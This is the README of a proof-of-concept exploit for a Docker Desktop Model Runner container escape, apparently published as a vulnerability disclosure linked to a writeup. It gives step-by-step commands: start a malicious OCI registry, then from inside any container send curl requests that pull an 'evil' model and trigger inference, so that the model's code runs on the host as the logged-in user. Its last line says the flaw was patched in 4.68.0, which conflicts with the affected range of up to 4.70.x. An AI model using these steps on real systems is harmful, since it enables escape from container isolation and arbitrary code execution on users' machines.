
Docker Container Escape POC via mlx-metal importlib
Minimal OCI registry that serves a malicious model to exploit the model_file importlib execution path in mlx-lm. When Docker Model Runner loads the model for inference, model.py executes on the host as the logged-in user.
Requires: Docker Desktop ≤ 4.70.x (Apple Silicon) with Model Runner enabled
# 1. Start the registry on the host
python3 poc_cve_2026_5843.py
# 2. From any container on the Docker network
docker run -it --rm curlimages/curl sh
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name":"localhost:5555/evil/model:latest"}'
curl --max-time 120 -X POST http://model-runner.docker.internal/engines/mlx/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"localhost:5555/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
Output is written to ~/Desktop/mlx.txt on the host.
Full writeup: https://davidrochester.com/posts/container-escape-via-inference
trust_remote_code=True, same attack surface, patched in Docker Desktop 4.68.0